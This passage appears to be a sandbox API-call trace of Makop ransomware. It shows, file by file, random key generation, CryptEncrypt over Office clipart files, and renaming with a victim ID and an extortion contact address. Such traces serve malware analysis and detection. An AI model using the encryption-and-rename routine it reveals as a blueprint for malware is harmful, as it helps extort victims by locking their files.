office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.746] GetProcessHeap () returned 0x48a0000 [0150.746] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.746] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.746] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0150.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.751] GetProcessHeap () returned 0x48a0000 [0150.751] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.751] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.751] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.752] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.752] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.752] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.752] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.753] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x584, lpOverlapped=0x0) returned 1 [0150.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x590, dwBufLen=0x590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x590) returned 1 [0150.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x590, lpOverlapped=0x0) returned 1 [0150.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.753] SetEndOfFile (hFile=0xf0) returned 1 [0150.760] GetProcessHeap () returned 0x48a0000 [0150.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.761] GetProcessHeap () returned 0x48a0000 [0150.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.763] CloseHandle (hObject=0xf0) returned 1 [0150.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0150.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 63 [0150.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.764] GetProcessHeap () returned 0x48a0000 [0150.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.764] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0150.772] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.772] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.772] GetProcessHeap () returned 0x48a0000 [0150.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.773] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.773] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.774] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1652, lpOverlapped=0x0) returned 1 [0150.775] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1660, dwBufLen=0x1660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1660) returned 1 [0150.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1660, lpOverlapped=0x0) returned 1 [0150.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.776] SetEndOfFile (hFile=0xf0) returned 1 [0150.782] GetProcessHeap () returned 0x48a0000 [0150.783] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.783] GetProcessHeap () returned 0x48a0000 [0150.783] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.783] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.785] CloseHandle (hObject=0xf0) returned 1 [0150.785] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0150.785] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF") returned 63 [0150.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.788] GetProcessHeap () returned 0x48a0000 [0150.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.788] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.789] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.789] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.789] GetProcessHeap () returned 0x48a0000 [0150.789] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.789] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.789] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.789] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.796] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.796] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.796] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.797] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16c0, lpOverlapped=0x0) returned 1 [0150.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16c0) returned 1 [0150.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16c0, lpOverlapped=0x0) returned 1 [0150.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.799] SetEndOfFile (hFile=0xf0) returned 1 [0150.805] GetProcessHeap () returned 0x48a0000 [0150.805] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.805] GetProcessHeap () returned 0x48a0000 [0150.806] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.806] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.808] CloseHandle (hObject=0xf0) returned 1 [0150.808] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0150.808] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 63 [0150.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.809] GetProcessHeap () returned 0x48a0000 [0150.809] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.809] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.810] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.810] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.810] GetProcessHeap () returned 0x48a0000 [0150.810] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.810] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.810] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.810] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.815] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.815] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.816] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.816] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.816] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5d0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5d0, lpOverlapped=0x0) returned 1 [0150.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5d0) returned 1 [0150.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5d0, lpOverlapped=0x0) returned 1 [0150.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.817] SetEndOfFile (hFile=0xf0) returned 1 [0150.827] GetProcessHeap () returned 0x48a0000 [0150.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.827] GetProcessHeap () returned 0x48a0000 [0150.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.827] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.829] CloseHandle (hObject=0xf0) returned 1 [0150.829] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0150.830] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft 